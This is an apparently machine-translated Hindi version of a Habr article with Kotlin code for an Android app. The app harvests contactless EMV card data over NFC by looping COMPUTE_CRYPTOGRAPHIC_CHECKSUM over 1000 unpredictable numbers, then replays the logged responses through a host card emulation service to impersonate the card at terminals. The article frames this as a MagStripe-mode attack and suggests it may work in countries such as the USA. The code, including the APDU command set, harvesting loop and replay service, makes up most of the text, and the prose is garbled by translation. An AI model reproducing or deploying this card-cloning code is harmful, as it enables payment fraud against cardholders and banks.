  private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv } 

यह आदेशों के अनुक्रम का वर्णन करता है और 0 से 999 तक एक चक्र में अप्रत्याशित संख्या के मानों की गणना करता है, हम Nc को "00000 $ {String.format ("% 03d ", i)}" "(" ..! ") में बदलते हैं। ) ".Regex ()," $ 0 ")। और हर बार COMPUTE_CRYPTOGRAPHIC_CHECKSUM से पहले GET_PROCESSING_OPTIONS निष्पादित करना न भूलें अन्यथा चेक राशि की गणना नहीं की जाएगी।

नतीजतन, यह सब एक फ़ाइल में लिखा जा सकता है और इस टर्मिनल के साथ काम करते समय पहले से ही उपयोग किया जाता है। यहां हमें नाम और कार्ड नंबर मिलता है, हम इसे स्क्रीन पर प्रदर्शित कर सकते हैं।

  private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) //       val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() } 

आदेशों का एक सेट जो हमें चाहिए।

 object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") } 

टर्मिनल से कमांड के वायरटैपिंग को लागू करने के लिए, आपको अपनी सेवा शुरू करने और इसे घोषणा में घोषित करने की आवश्यकता है। इस सेवा में, टर्मिनल से एक कमांड प्रोसेसमांडपापा में आता है, हम इसकी तुलना उस फ़ाइल से संग्रहित करने वाले से करते हैं, और प्रतिक्रिया देते हैं, जो अगली पंक्ति में लिखी जाती है।

  <service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service> 

 class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() } 

आवेदन से स्क्रीनशॉट के एक जोड़े। हम कार्ड और पर्सिम लॉग पढ़ते हैं:



इस प्रकार, कार्ड डेटा वाले फोन पर संपर्क रहित ईएमवी कार्ड के संचालन का अनुकरण करना संभव है। लेकिन सौभाग्य से या दुर्भाग्य से किसी के लिए, यह हमला रूस में काम नहीं करता है। हमारे प्रयोगों के अनुसार, लेन-देन हर समय जारीकर्ता के बैंक तक पहुंच गया और बैंक द्वारा ही खारिज कर दिया गया। इसके अलावा, हम MagStripe का उपयोग करके ऑफ़लाइन लेनदेन करने में असमर्थ थे। हालांकि, इस तरह के हमले को अन्य देशों में अच्छी तरह से लागू किया जा सकता है जहां मैगस्ट्रिप मोड का उपयोग काफी सामान्य है और जोखिम प्रबंधन एल्गोरिथ्म थोड़ा अलग है, उदाहरण के लिए, संयुक्त राज्य अमेरिका में।

इस लेख की मदद से लिंक


बैंक माइक्रोप्रोसेसर कार्ड्स / I.M. गोल्डोव्स्की - M।: TsIPSiR: अल्पना पबर्स, 2010 .-- 686 पी।
EMV परियोजना: चरण-दर-चरण
ऑस्ट्रियाई शोधकर्ताओं का शोध
एप्लिकेशन कोड से लिंक करें
टर्मिनल सिम्युलेटर।

इस लेख को तैयार करने में मेरी मदद करने के लिए barracud4 का धन्यवाद।

Source: https://habr.com/ru/post/hi421543/


All Articles